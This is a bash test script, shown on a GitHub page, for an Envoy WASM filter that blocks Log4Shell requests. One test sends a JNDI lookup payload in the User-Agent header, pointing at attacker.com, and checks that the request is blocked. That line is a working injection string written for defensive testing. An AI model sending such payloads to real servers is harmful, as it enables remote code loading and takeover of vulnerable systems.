-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtest.sh
executable file
·42 lines (35 loc) · 1.14 KB
/
test.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env bash
set -e
WASM_BINARY="${PWD}/bin/filter-log4shell.wasm"
[ ! -f "${WASM_BINARY}" ] && echo "[-]File: ${WASM_BINARY} not found" && exit 1
CONTAINER_ID=$(docker run -d -it --rm \
-v "${PWD}/envoy.yaml:/etc/envoy/envoy.yaml" \
-v "${WASM_BINARY}:/etc/envoy/filters/filter-log4shell.wasm" \
-p 18000:18000 envoyproxy/envoy:v1.20.1)
function test_negative() {
local response
local text
response="$(curl --silent 127.0.0.8:18000 -H "User-Agent: \${jndi:ldap://attacker.com/path/to/malicious/java_class}" )"
text="This request has been blocked for security reasons."
if [ "$response" != "$text" ]; then
echo "[-]Error in negative case: response: \"${response}\", expected: \"${text}\""
FAIL="true"
fi
}
function test_positive() {
local response
local text
response="$(curl --silent 127.0.0.8:18000)"
text="example body"
if [ "$response" != "$text" ]; then
echo "[-]Error in positive case: response: \"${response}\", expected: \"${text}\""
FAIL="true"
fi
}
sleep 1
test_negative
test_positive
docker stop "${CONTAINER_ID}" > /dev/null
if [[ -n "${FAIL}" ]]; then
exit 1
fi